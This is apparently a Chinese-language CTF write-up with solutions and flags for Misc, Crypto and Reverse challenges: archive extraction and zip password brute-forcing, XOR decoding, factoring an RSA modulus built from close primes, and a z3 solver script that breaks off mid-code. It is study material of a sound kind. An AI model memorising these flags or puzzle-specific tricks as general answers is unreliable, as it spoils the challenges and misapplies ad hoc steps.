Misc 1.光隙中的寄生密钥 一、题目截图
二、解题思路 图片里藏了压缩包
使用binwalk进行分解得到解密压缩包,再使用archpr爆破
爆破后获得一串十六进制,cyberchef获得flag
2.被折叠的显影图纸 一、题目截图
二、解题思路 随波逐流扫描,结合这两个位置获得flag
3.ez_xor 一、题目截图
二、解题思路 1 2 3 4 cipher = bytes .fromhex("5f55585e42717a6d7f484e5c786a7d08010b44" .replace('-' ,'' )) key = 0x39 plain = bytes ([b ^ key for b in cipher]) print (plain.decode())
根据题目“ez_xor”,推测为单字节异或加密。通过分析密文格式和常见flag结构,尝试用密钥0x39(字符9)解密:
十六进制转字节 :将密文分割为单字节数组
单字节异或 :逐字节与0x39异或
拼接结果 :得到完整明文![image-
flag{HCTFqweASD182}
4.套娃 一、题目截图
二、解题思路 后缀名假的,改成zip
进去之后txt也是假的,根据文件内容改成docx
docx进去之后把字体改颜色获得flag
5.easy_misc 一、题目截图
二、解题思路 先使用cyberchef的magic方法得到中间产物synt{UAPGSWIbXhQWzXwOo}
再使用随波逐流获得答案
Crypto 1.cry_rsa 一、题目截图
二、解题思路 使用ctfrsatools工具得到d,再加10得到flag
flag{2023326077889096389}
2.草甸方阵的密语 一、题目截图
二、解题思路 使用随波逐流
第一次找疑似flag(前面四位加{的)
第二次再解码
flag{J7k3dL9mN6pQ8R2S}
3.easy-签到题 一、题目截图
二、解题思路 用010 Editor打开签到题.exe,然后把里面的内容拖到cyberchef解密(Magic方式)
flag{8d0b293a-6c1e-5f74-9b36-401873265e9f}
4.gift 一、题目截图
二、解题思路 爸爸带的礼物是π(派),因为题目中的级数对应莱布尼茨公式计算π/4,四份合起来为π。凯撒密码加密后偏移量为1,flag{pie}变为flag{qjf}。
flag{qjf}
5.baby_rsa 一、题目截图
二、解题思路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import mathfrom Crypto.Util.number import isPrime, long_to_bytesimport sympyN = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569 e = 65537 c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063 s = math.isqrt(N) found = False for delta in range (1000 ): q_candidate = s - delta if isPrime(q_candidate): p_candidate = sympy.nextprime(q_candidate) if q_candidate * p_candidate == N: print ("Found q and p:" ) print ("q =" , q_candidate) print ("p =" , p_candidate) found = True break if found: break p = 110428348144013242234907008083355974834266917027228724749730385104087025249352345946164980361082178532313669767485270254326404723948153912910688118140621712922649644396733499972695482991866293857864311557686710317462165131360819813493524457615383204504505224030129953230866877990529769205769592709254542472051 q = 110428348144013242234907008083355974834266917027228724749730385104087025249352345946164980361082178532313669767485270254326404723948153912910688118140621712922649644396733499972695482991866293857864311557686710317462165131360819813493524457615383204504505224030129953230866877990529769205769592709254542470619 phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) m = pow (c, d, N) flag = long_to_bytes(m).strip() print ("Flag:" , flag.decode())
再把所有的5改成6获得flag
flag{6c9c886c361641e0b261f68b61db8cec}
6.ezbase 一、题目截图 复现,图略了
二、解题思路 垃圾邮件解密
https://spammimic.com/decode.cgi
Cyberchef解密获得flag
Reverse sign in 一、题目截图
二、解题思路 ida进行动态调试
在return v6 - __readfsqword(0x28u);处单击v6获得flag
2.ez_js 一、题目截图
二、解题思路 搜索flag各种拓展名称搜到f1ag
f1ag{HCTFqweIOP128}
3.ez_math 一、题目截图 复现略了
二、解题思路 python逆向
逆向完之后写解密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if __name__ == '__main__' : input_file = r'eq1' output_file = 'decrypted' key = 'eq verySimple' with open (input_file, 'rb' ) as f: encrypted_data = f.read() decrypted = bytearray () for idx, byte in enumerate (encrypted_data): decrypted_byte = byte ^ ord (key[idx % len (key)]) decrypted.append(decrypted_byte) with open (output_file, 'wb' ) as f2: f2.write(decrypted)
解密得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 x[0] * x[16] + x[10] * x[18] + 2 * (x[11] * x[25]) + 5 * (x[13] * x[25]) - 9 * (x[13] * x[32]) - 8 * (x[15] * x[29]) + 8 * (x[17] * x[28]) + 7 * (x[19] * x[29]) - 5 * (x[19] * x[30]) - 7 * (x[19] * x[9]) - 4 * x[20] * x[20] + 7 * (x[22] * x[23]) - 5 * (x[23] * x[8]) - 8 * (x[29] * x[5]) - 7 * x[31] + 7 * (x[32] * x[9]) + 10 * (x[33] * x[4]) + 8 * x[5] * x[5] - 5 * x[8] * x[8] - 16191 == 0 -9 * (x[1] * x[15]) - 2 * (x[10] * x[18]) + 9 * (x[11] * x[18]) - 6 * (x[12] * x[16]) - x[14] * x[15] - 3 * (x[15] * x[18]) - 9 * (x[16] * x[8]) + 10 * (x[17] * x[23]) + 4 * (x[17] * x[5]) - 2 * (x[2] * x[22]) - 4 * x[2] + 4 * (x[21] * x[3]) + 10 * (x[23] * x[25]) + 5 * (x[28] * x[33]) + 10 * (x[28] * x[5]) - 8 * (x[30] * x[36]) - 14067 == 0 10 * (x[0] * x[26]) + 6 * (x[0] * x[29]) - 7 * (x[13] * x[29]) + 8 * (x[21] * x[7]) + 9 * (x[22] * x[25]) - 8 * (x[23] * x[5]) + 8 * (x[26] * x[32]) + 5 * (x[27] * x[30]) + 9 * (x[27] * x[31]) + 6 * (x[28] * x[6]) - 9 * (x[29] * x[5]) - 4 * (x[31] * x[8]) - 10 * (x[32] * x[35]) + 10 * x[35] * x[35] - 55102 == 0 3 * (x[0] * x[16]) + 4 * (x[1] * x[36]) + 8 * (x[10] * x[33]) - 8 * (x[12] * x[17]) - 8 * (x[14] * x[28]) + 7 * (x[15] * x[25]) - 2 * (x[15] * x[6]) + 6 * (x[15] * x[8]) - 2 * (x[2] * x[25]) - 7 * (x[2] * x[34]) + x[23] * x[35] - 5 * (x[27] * x[9]) + 6 * (x[28] * x[30]) + 6 * (x[28] * x[37]) + 8 * (x[28] * x[7]) - 4 * x[30] + 7 * (x[32] * x[35]) + 7 * (x[35] * x[5]) + 7 * (x[35] * x[7]) - 10 * (x[5] * x[7]) - 2 * (x[7] * x[9]) - 102697 == 0 7 * (x[0] * x[27]) + 3 * (x[1] * x[15]) - 9 * (x[1] * x[29]) - 3 * (x[10] * x[33]) - 10 * (x[12] * x[34]) - 8 * (x[15] * x[2]) - 8 * (x[18] * x[23]) - 6 * (x[19] * x[7]) - 6 * (x[2] * x[34]) + 7 * (x[2] * x[7]) - 3 * (x[20] * x[22]) - 8 * (x[23] * x[25]) - 3 * (x[26] * x[34]) - 9 * (x[28] * x[3]) - 8 * (x[28] * x[35]) + 3 * (x[36] * x[4]) + 6 * x[8] + 324145 == 0 -9 * (x[0] * x[2]) + 5 * x[1] - 9 * (x[13] * x[3]) + 4 * (x[14] * x[17]) + 9 * (x[18] * x[29]) + 5 * (x[18] * x[9]) + 5 * (x[20] * x[23]) - x[20] * x[5] - 8 * (x[21] * x[33]) - 7 * x[27] + 6 * (x[28] * x[7]) - 7 * (x[29] * x[9]) + 10 * (x[31] * x[6]) + 52822 == 0 -6 * (x[10] * x[29]) - 2 * (x[10] * x[33]) + 4 * (x[11] * x[31]) + 8 * (x[12] * x[27]) - 9 * (x[12] * x[36]) + 2 * (x[16] * x[24]) + 2 * (x[19] * x[34]) - 8 * (x[19] * x[37]) - 10 * (x[24] * x[7]) - 5 * (x[34] * x[6]) - 2 * (x[7] * x[8]) + 9 * x[9] + 119387 == 0 6 * (x[0] * x[22]) - 3 * (x[12] * x[37]) - 3 * (x[12] * x[5]) - 2 * (x[13] * x[36]) - 10 * (x[19] * x[5]) + 7 * (x[2] * x[22]) + 7 * (x[2] * x[9]) - 8 * x[21] * x[21] + x[21] * x[34] - 5 * (x[23] * x[26]) + 9 * (x[25] * x[5]) + 8 * (x[25] * x[9]) + 4 * (x[3] * x[30]) - 3 * (x[37] * x[7]) - 6 * (x[37] * x[9]) + 4832 == 0 -2 * x[0] * x[0] + 3 * (x[13] * x[29]) + x[17] * x[25] - 10 * (x[21] * x[28]) + 5 * (x[22] * x[31]) + 10 * (x[22] * x[9]) - 10 * (x[25] * x[32]) + 4 * x[27] + 6 * (x[29] * x[6]) - 4 * (x[30] * x[34]) - 9 * (x[31] * x[4]) + 2 * (x[32] * x[34]) - 7 * (x[4] * x[6]) + 123454 == 0 4 * (x[0] * x[20]) + x[0] * x[3] - 9 * (x[1] * x[17]) + 9 * (x[11] * x[34]) - 6 * (x[13] * x[7]) - 6 * (x[14] * x[2]) + 6 * (x[14] * x[29]) + 7 * (x[15] * x[27]) - 7 * (x[18] * x[5]) - 7 * x[20] * x[20] + 8 * (x[20] * x[21]) + 9 * (x[20] * x[27]) + 2 * (x[21] * x[25]) - 6 * (x[25] * x[28]) - 9 * (x[28] * x[32]) - 6 * (x[3] * x[32]) - 3 * (x[33] * x[7]) - 8 * (x[36] * x[9]) + 170296 == 0 6 * (x[0] * x[11]) + x[1] * x[12] - 9 * (x[1] * x[30]) - 10 * (x[1] * x[35]) + 8 * (x[10] * x[7]) + 5 * (x[14] * x[28]) + 7 * (x[16] * x[21]) - 10 * (x[19] * x[35]) + x[19] * x[6] + 8 * (x[2] * x[31]) - 2 * (x[21] * x[26]) - 3 * (x[23] * x[27]) + 9 * (x[27] * x[34]) + 4 * x[28] * x[28] - x[3] * x[31] + x[30] * x[37] - 9 * (x[30] * x[4]) + 4 * x[34] - 76173 == 0 -8 * (x[0] * x[15]) - 4 * (x[11] * x[15]) + 9 * (x[12] * x[23]) - 10 * (x[12] * x[29]) + 8 * (x[13] * x[26]) + 6 * (x[13] * x[9]) - x[15] * x[27] - x[15] * x[33] + 3 * (x[19] * x[29]) - 10 * (x[2] * x[20]) - x[22] * x[32] + 5 * (x[23] * x[8]) + 6 * (x[32] * x[5]) - 27078 == 0 8 * (x[1] * x[9]) + 8 * (x[10] * x[16]) - 3 * (x[10] * x[29]) - 2 * (x[11] * x[13]) + 6 * (x[11] * x[33]) + 3 * (x[12] * x[14]) + 8 * (x[12] * x[16]) + 5 * (x[16] * x[34]) + 7 * (x[18] * x[32]) + 8 * (x[19] * x[26]) + 2 * x[19] - 4 * (x[20] * x[6]) + 4 * x[22] * x[22] - 8 * (x[25] * x[5]) - 7 * (x[26] * x[34]) - x[29] + 10 * (x[3] * x[4]) - 6 * x[32] * x[32] - 299677 == 0 3 * (x[0] * x[6]) + 7 * (x[10] * x[34]) + 9 * (x[11] * x[18]) - 8 * (x[12] * x[3]) - x[12] * x[33] - x[12] * x[34] - 7 * (x[16] * x[7]) + x[16] * x[8] - 3 * (x[19] * x[20]) - 6 * (x[19] * x[33]) - 8 * (x[22] * x[27]) - 4 * (x[24] * x[3]) + 57797 == 0 9 * (x[0] * x[29]) + 2 * (x[1] * x[19]) + 8 * (x[10] * x[30]) - 2 * (x[11] * x[20]) - 6 * (x[11] * x[29]) + 3 * (x[13] * x[20]) - 10 * (x[14] * x[17]) - 10 * (x[15] * x[19]) + 6 * (x[15] * x[23]) + 7 * (x[15] * x[4]) + 6 * (x[18] * x[28]) + x[19] * x[3] - x[20] * x[3] - 10 * (x[21] * x[30]) + 10 * (x[22] * x[27]) - 10 * (x[23] * x[31]) + 2 * (x[24] * x[5]) - 3 * (x[25] * x[31]) + 5 * (x[26] * x[7]) + 7 * x[3] * x[3] + 7 * (x[30] * x[32]) + 6 * (x[31] * x[5]) + 10 * x[33] - 7 * x[5] - 258015 == 0 2 * (x[0] * x[16]) - 6 * (x[1] * x[20]) + 5 * (x[10] * x[17]) - 5 * (x[15] * x[23]) + 8 * (x[16] * x[18]) + 9 * (x[19] * x[36]) + 6 * (x[2] * x[33]) - 9 * (x[23] * x[9]) + 9 * x[25] * x[25] + 2 * (x[3] * x[37]) + 7 * (x[30] * x[34]) - 2 * x[32] - 157310 == 0 -3 * (x[0] * x[25]) - 2 * (x[1] * x[36]) + 2 * (x[10] * x[31]) + 9 * (x[13] * x[20]) - 5 * (x[15] * x[2]) - 6 * (x[15] * x[37]) - 2 * x[17] + 8 * (x[19] * x[28]) + 7 * (x[2] * x[32]) - 2 * (x[21] * x[30]) + 5 * (x[23] * x[5]) + 5 * (x[24] * x[26]) - 8 * (x[24] * x[33]) - 8 * (x[26] * x[35]) - 10 * x[26] - 10 * (x[29] * x[36]) - 2 * (x[30] * x[6]) + 4 * (x[31] * x[36]) + 9 * (x[33] * x[9]) - x[37] * x[6] + 7350 == 0 -8 * (x[0] * x[36]) - 8 * (x[17] * x[32]) + 8 * (x[2] * x[33]) - 7 * (x[22] * x[28]) - 9 * (x[22] * x[35]) + 8 * (x[22] * x[5]) - 2 * (x[23] * x[5]) + 5 * (x[26] * x[27]) + 6 * (x[26] * x[31]) - 3 * (x[32] * x[33]) - 2 * (x[35] * x[4]) + x[36] * x[8] + 85362 == 0 7 * (x[0] * x[33]) - 5 * (x[12] * x[35]) + x[12] * x[9] + 10 * (x[13] * x[30]) + 8 * (x[15] * x[32]) - 9 * (x[2] * x[20]) + 3 * (x[2] * x[30]) + 10 * (x[25] * x[29]) - 6 * (x[26] * x[32]) - 3 * (x[27] * x[9]) + 7 * (x[36] * x[6]) - 121182 == 0 8 * (x[0] * x[17]) + 10 * (x[1] * x[14]) + 2 * (x[10] * x[33]) + 8 * (x[13] * x[26]) - 5 * (x[14] * x[34]) - 9 * (x[14] * x[7]) + x[18] * x[2] - 10 * (x[18] * x[7]) + x[2] * x[33] + 10 * x[20] - 6 * (x[22] * x[30]) + 6 * (x[22] * x[9]) + 10 * (x[23] * x[34]) + 9 * (x[25] * x[9]) + 7 * (x[26] * x[30]) - 9 * (x[27] * x[31]) + 7 * (x[28] * x[5]) - 8 * (x[30] * x[31]) - 9 * x[34] * x[34] + 2 * (x[36] * x[8]) - 136304 == 0 -4 * (x[0] * x[25]) - 9 * (x[1] * x[21]) - 9 * (x[1] * x[25]) + 6 * (x[12] * x[5]) + 6 * (x[2] * x[28]) - 4 * (x[20] * x[28]) - 8 * (x[22] * x[23]) + 5 * (x[23] * x[32]) - 6 * (x[24] * x[28]) - 6 * (x[25] * x[29]) + 121526 == 0 -4 * (x[0] * x[30]) + x[11] * x[14] - 6 * (x[12] * x[20]) - 8 * (x[13] * x[28]) + 10 * (x[15] * x[2]) - 10 * (x[18] * x[25]) + 6 * (x[22] * x[29]) - 3 * (x[25] * x[8]) + x[27] * x[36] - 2 * (x[3] * x[30]) + 10 * (x[30] * x[34]) + 4 * (x[35] * x[6]) - 27523 == 0 -9 * (x[10] * x[30]) - 3 * (x[10] * x[6]) - 10 * (x[13] * x[29]) - 8 * (x[13] * x[7]) + 3 * (x[14] * x[32]) - 2 * (x[18] * x[20]) + 10 * (x[18] * x[34]) - 4 * (x[2] * x[7]) + 9 * (x[20] * x[22]) - 5 * (x[20] * x[33]) - 10 * (x[23] * x[34]) - 6 * x[26] + 2 * (x[3] * x[34]) + 9 * x[30] * x[30] + 8 * (x[31] * x[8]) + 9 * (x[33] * x[36]) + 35830 == 0 7 * (x[10] * x[2]) + 2 * x[10] - 5 * (x[13] * x[9]) + 10 * (x[15] * x[33]) + 8 * (x[17] * x[23]) + 5 * x[2] * x[2] - 8 * (x[2] * x[37]) + 6 * (x[20] * x[24]) + 4 * (x[20] * x[35]) - 8 * (x[23] * x[8]) - 9 * (x[24] * x[7]) + 7 * (x[26] * x[8]) - 5 * (x[3] * x[36]) + 6 * (x[30] * x[35]) - 7 * x[36] - 5 * x[7] - 59235 == 0 -8 * x[11] * x[11] - 9 * (x[14] * x[31]) - 8 * (x[14] * x[35]) + 7 * (x[15] * x[20]) + x[15] * x[24] + 6 * (x[15] * x[25]) - 10 * (x[16] * x[18]) - x[16] * x[9] + 8 * (x[19] * x[32]) + 5 * (x[2] * x[5]) + 6 * (x[21] * x[30]) - 10 * (x[22] * x[24]) + 2 * (x[22] * x[34]) - 10 * (x[22] * x[37]) + 4 * (x[27] * x[35]) - x[28] * x[33] + 2 * (x[28] * x[37]) + 7 * (x[29] * x[37]) - 2 * (x[34] * x[35]) - 7 * (x[35] * x[6]) + 82407 == 0 7 * (x[0] * x[27]) + 7 * (x[10] * x[21]) - 10 * (x[10] * x[3]) + 6 * (x[13] * x[36]) - 3 * (x[15] * x[17]) + 7 * (x[15] * x[30]) - x[15] * x[7] + x[16] * x[34] + 8 * (x[17] * x[37]) + 2 * x[2] + 6 * (x[20] * x[21]) + 9 * (x[20] * x[33]) + 8 * (x[20] * x[4]) + 3 * (x[21] * x[25]) + x[22] * x[28] + 6 * x[23] * x[23] - 6 * (x[24] * x[3]) + 10 * (x[25] * x[27]) + 5 * (x[29] * x[4]) - 6 * (x[3] * x[32]) - 6 * (x[30] * x[4]) - 5 * (x[30] * x[5]) - x[33] * x[34] - 7 * (x[4] * x[9]) - 4 * (x[7] * x[9]) - 154206 == 0 2 * x[0] * x[0] + 2 * (x[0] * x[14]) + 7 * (x[11] * x[13]) - 9 * (x[11] * x[16]) + 2 * (x[11] * x[21]) + 8 * (x[11] * x[24]) + 5 * (x[11] * x[4]) + 4 * (x[13] * x[36]) - 8 * (x[15] * x[16]) - 4 * (x[16] * x[17]) - 3 * (x[16] * x[23]) - 8 * (x[17] * x[33]) - 4 * (x[17] * x[34]) - 6 * (x[18] * x[31]) + 7 * (x[2] * x[25]) - x[20] * x[25] + 5 * (x[20] * x[9]) + 2 * (x[21] * x[26]) - 5 * (x[21] * x[5]) + 4 * (x[22] * x[35]) - 7 * (x[23] * x[9]) - 10 * (x[31] * x[7]) + 156020 == 0 -5 * (x[12] * x[34]) + 4 * (x[12] * x[9]) - 2 * (x[13] * x[31]) + x[14] * x[9] + 4 * (x[17] * x[32]) - 2 * (x[18] * x[23]) - 10 * (x[18] * x[29]) + 6 * (x[19] * x[30]) + 4 * (x[2] * x[32]) - 9 * x[27] * x[27] - 2 * (x[3] * x[35]) - 2 * (x[3] * x[5]) - 2 * (x[7] * x[8]) + 129397 == 0 -9 * x[1] + 5 * (x[12] * x[2]) + 4 * (x[12] * x[35]) - 5 * (x[14] * x[8]) + 2 * x[15] + 3 * (x[17] * x[22]) - 3 * (x[17] * x[23]) + 9 * (x[18] * x[33]) - 5 * (x[20] * x[23]) - 8 * (x[20] * x[34]) - 8 * (x[29] * x[6]) + 70585 == 0 x[0] * x[1] + 6 * (x[0] * x[12]) + 10 * (x[10] * x[31]) + 8 * (x[11] * x[32]) + 9 * (x[13] * x[14]) - 2 * (x[15] * x[33]) - 9 * (x[15] * x[9]) + 4 * (x[16] * x[9]) - 2 * (x[18] * x[29]) - 5 * (x[2] * x[36]) + 2 * (x[21] * x[32]) - 8 * (x[24] * x[33]) + 9 * (x[25] * x[26]) + x[26] * x[28] - x[26] * x[3] - 3 * (x[26] * x[6]) + 6 * x[29] - 2 * (x[37] * x[7]) - 119430 == 0 x[0] * x[2] + 10 * x[10] + 6 * (x[12] * x[18]) - 5 * (x[12] * x[35]) + 9 * (x[13] * x[29]) - 2 * (x[14] * x[37]) + 10 * (x[15] * x[23]) + 7 * (x[15] * x[4]) - 5 * (x[16] * x[9]) - 9 * (x[20] * x[8]) - 4 * (x[21] * x[27]) - 5 * (x[22] * x[5]) + x[28] * x[6] + x[3] * x[36] + 8 * (x[33] * x[35]) - 144386 == 0 -5 * (x[1] * x[12]) + 4 * (x[1] * x[6]) + 4 * (x[11] * x[5]) + 8 * (x[15] * x[20]) + 7 * (x[15] * x[22]) - 10 * (x[19] * x[29]) - 6 * x[2] * x[2] + 5 * (x[2] * x[31]) - 2 * (x[2] * x[9]) + 2 * (x[20] * x[35]) + 7 * (x[29] * x[5]) + 8 * (x[30] * x[7]) + 8 * (x[35] * x[4]) - 2 * x[37] * x[37] - 99154 == 0 -2 * x[0] * x[0] + 5 * (x[0] * x[11]) - 10 * (x[0] * x[21]) + 9 * (x[0] * x[30]) - 2 * (x[1] * x[29]) + 6 * (x[10] * x[29]) - 9 * (x[10] * x[30]) - 8 * (x[10] * x[32]) + 9 * x[11] * x[11] - 9 * (x[11] * x[5]) - x[13] * x[17] + 5 * (x[13] * x[6]) + 9 * (x[14] * x[20]) - 10 * x[18] * x[18] - 5 * (x[19] * x[24]) + 7 * (x[2] * x[26]) + 10 * (x[20] * x[21]) - 9 * (x[24] * x[34]) - 5 * (x[24] * x[5]) - 9 * (x[26] * x[32]) - 6 * (x[30] * x[7]) - 7 * (x[32] * x[37]) + 414339 == 0 2 * (x[0] * x[21]) - 10 * (x[0] * x[35]) + 9 * (x[11] * x[15]) - 2 * (x[12] * x[4]) + 4 * (x[16] * x[4]) + 2 * (x[17] * x[32]) - 8 * (x[2] * x[20]) + 10 * (x[21] * x[23]) + 2 * (x[21] * x[27]) - 5 * (x[21] * x[30]) + 8 * (x[22] * x[30]) + 2 * (x[25] * x[4]) + 9 * (x[28] * x[34]) + 3 * (x[30] * x[5]) + 4 * (x[33] * x[7]) - 3 * (x[6] * x[8]) - 169458 == 0 x[10] * x[31] - 4 * (x[10] * x[4]) - x[11] * x[22] - 10 * (x[12] * x[5]) - 4 * (x[16] * x[19]) + 3 * (x[19] * x[2]) + 3 * (x[19] * x[34]) - 6 * x[19] + 4 * (x[2] * x[32]) - 8 * (x[22] * x[33]) + 8 * x[23] * x[23] + 2 * (x[24] * x[6]) + 8 * x[31] + 2 * (x[5] * x[7]) - 26425 == 0 8 * (x[1] * x[35]) - 3 * (x[1] * x[7]) - 3 * (x[14] * x[23]) - 6 * (x[16] * x[28]) - 2 * (x[16] * x[6]) - 7 * x[16] + 4 * (x[2] * x[4]) + x[21] * x[24] - 5 * (x[23] * x[3]) - 9 * (x[24] * x[30]) + 9 * (x[26] * x[35]) - 8 * (x[28] * x[4]) - 9 * (x[3] * x[32]) + 2 * x[3] + 209624 == 0 -10 * (x[0] * x[28]) + 2 * (x[0] * x[3]) + 8 * (x[10] * x[30]) - x[11] * x[31] + 6 * (x[13] * x[32]) + 10 * (x[14] * x[36]) + 5 * (x[15] * x[23]) + 2 * (x[15] * x[31]) + 2 * (x[16] * x[25]) + 10 * (x[16] * x[30]) - 10 * (x[18] * x[22]) + 8 * (x[19] * x[6]) - 7 * (x[2] * x[36]) - x[21] * x[29] - 4 * (x[24] * x[4]) + 8 * (x[26] * x[5]) + 10 * (x[31] * x[5]) - 5 * (x[32] * x[7]) - 4 * (x[36] * x[5]) - 146637 == 0 -2 * (x[1] * x[23]) + 9 * (x[10] * x[9]) + 9 * (x[15] * x[21]) + 10 * (x[16] * x[25]) + 5 * (x[16] * x[36]) + 7 * (x[16] * x[6]) + 7 * (x[18] * x[35]) + 8 * (x[19] * x[3]) - 9 * (x[19] * x[35]) + 10 * (x[2] * x[32]) + 5 * (x[2] * x[4]) - x[21] * x[27] - 6 * (x[24] * x[35]) - 3 * (x[25] * x[26]) + 6 * (x[29] * x[36]) + 6 * (x[29] * x[4]) - 3 * (x[33] * x[4]) - 5 * (x[34] * x[5]) - 3 * (x[37] * x[7]) + 9 * (x[4] * x[8]) - 422738 == 0
然后ai一个脚本解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 from z3 import BitVec, Solver, satdef solve_equations (): solver = Solver() x = [BitVec(f'x_{i} ' , 8 ) for i in range (38 )] prefix = [ord (c) for c in 'flag{' ] for i in range (5 ): solver.add(x[i] == prefix[i]) solver.add(x[-1 ] == ord ('}' )) solver.add( -7 * (x[1 ] * x[21 ]) - 8 * (x[14 ] * x[17 ]) + x[14 ] * x[31 ] + 3 * (x[16 ] * x[23 ]) + 7 * (x[16 ] * x[24 ]) - 7 * ( x[19 ] * x[27 ]) - x[20 ] * x[30 ] - 8 * x[21 ] * x[21 ] + x[22 ] * x[22 ] - 7 * (x[24 ] * x[33 ]) + 9 * ( x[25 ] * x[30 ]) - 5 * (x[25 ] * x[6 ]) - 8 * (x[5 ] * x[8 ]) + 6 * x[5 ] + 207015 == 0 , 7 * (x[11 ] * x[27 ]) + 2 * (x[11 ] * x[7 ]) + x[14 ] * x[26 ] - 5 * (x[16 ] * x[26 ]) + 4 * (x[17 ] * x[27 ]) + 7 * ( x[18 ] * x[5 ]) + 4 * (x[2 ] * x[6 ]) - 4 * (x[2 ] * x[7 ]) + 5 * (x[21 ] * x[5 ]) + 5 * (x[25 ] * x[34 ]) - 6 * ( x[28 ] * x[34 ]) - 6 * x[29 ] * x[29 ] - 7 * (x[30 ] * x[6 ]) - 3 * (x[31 ] * x[5 ]) + 8 * ( x[34 ] * x[4 ]) + 10 * (x[36 ] * x[7 ]) - 6 * x[36 ] - 2 * x[9 ] - 107015 == 0 , - 5 * (x[1 ] * x[9 ]) - 2 * (x[10 ] * x[23 ]) - 3 * (x[12 ] * x[20 ]) - x[14 ] * x[6 ] - x[14 ] * x[9 ] - 8 * ( x[16 ] * x[26 ]) + 7 * (x[20 ] * x[8 ]) + 2 * (x[22 ] * x[26 ]) + 5 * (x[23 ] * x[34 ]) + 8 * ( x[24 ] * x[4 ]) - 7 * (x[25 ] * x[33 ]) + 7 * (x[26 ] * x[33 ]) - 4 * (x[27 ] * x[5 ]) - 4 * ( x[7 ] * x[8 ]) + 16737 == 0 , - 8 * (x[1 ] * x[28 ]) + 4 * (x[1 ] * x[34 ]) + 8 * (x[10 ] * x[28 ]) - 6 * (x[10 ] * x[30 ]) + 8 * ( x[13 ] * x[9 ]) + 2 * ( x[18 ] * x[7 ]) + 10 * (x[18 ] * x[8 ]) + 3 * (x[19 ] * x[2 ]) + 6 * (x[20 ] * x[22 ]) + 8 * ( x[20 ] * x[37 ]) + 9 * (x[25 ] * x[27 ]) - 8 * (x[26 ] * x[35 ]) + 2 * (x[28 ] * x[9 ]) - 8 * ( x[30 ] * x[5 ]) + 10 * (x[33 ] * x[35 ]) - 7 * x[4 ] - 255981 == 0 , - 6 * (x[0 ] * x[16 ]) + 5 * (x[0 ] * x[8 ]) + 10 * (x[1 ] * x[5 ]) - x[10 ] * x[11 ] + x[14 ] * x[9 ] + x[15 ] - 4 * ( x[16 ] * x[33 ]) + 6 * (x[17 ] * x[27 ]) - 6 * (x[18 ] * x[30 ]) - 7 * (x[19 ] * x[32 ]) + 5 * ( x[21 ] * x[4 ]) + 10 * (x[24 ] * x[36 ]) + 9 * (x[27 ] * x[7 ]) - 3 * (x[30 ] * x[4 ]) + 8 * ( x[30 ] * x[8 ]) - 7 * (x[32 ] * x[35 ]) + 2 * (x[33 ] * x[36 ]) - 87557 == 0 , 5 * (x[0 ] * x[25 ]) + 8 * (x[10 ] * x[23 ]) - 4 * (x[10 ] * x[36 ]) - x[10 ] * x[6 ] + 8 * (x[11 ] * x[24 ]) + 4 * ( x[13 ] * x[23 ]) + 2 * (x[15 ] * x[20 ]) - 5 * (x[16 ] * x[9 ]) - 3 * (x[17 ] * x[24 ]) + 9 * ( x[18 ] * x[4 ]) + 3 * (x[21 ] * x[26 ]) + 9 * (x[23 ] * x[37 ]) + 4 * (x[23 ] * x[8 ]) - 6 * ( x[24 ] * x[7 ]) - 8 * (x[26 ] * x[28 ]) + 9 * (x[27 ] * x[32 ]) + 3 * (x[31 ] * x[33 ]) + 10 * ( x[33 ] * x[37 ]) - 7 * (x[36 ] * x[8 ]) - 401983 == 0 , - 8 * (x[0 ] * x[37 ]) + 5 * (x[13 ] * x[33 ]) + x[16 ] * x[5 ] + 6 * x[17 ] * x[17 ] + 8 * (x[19 ] * x[35 ]) - 7 * ( x[20 ] * x[37 ]) - 6 * (x[20 ] * x[6 ]) + 9 * (x[22 ] * x[29 ]) + 5 * (x[22 ] * x[5 ]) + 7 * ( x[23 ] * x[28 ]) + 8 * (x[23 ] * x[36 ]) + 9 * (x[24 ] * x[27 ]) + 6 * (x[25 ] * x[37 ]) + 9 * ( x[29 ] * x[32 ]) - 129643 == 0 , - 8 * (x[10 ] * x[33 ]) - 8 * (x[11 ] * x[33 ]) + 5 * (x[15 ] * x[24 ]) + x[16 ] * x[28 ] - 6 * (x[18 ] * x[22 ]) + 8 * ( x[18 ] * x[35 ]) + 4 * (x[20 ] * x[28 ]) - x[20 ] * x[32 ] - 3 * (x[23 ] * x[27 ]) - 2 * x[25 ] * x[25 ] + 9 * ( x[26 ] * x[5 ]) - 3 * (x[27 ] * x[30 ]) + 5 * (x[27 ] * x[36 ]) + 3 * x[3 ] * x[3 ] - 5 * (x[3 ] * x[6 ]) - x[ 30 ] * x[31 ] 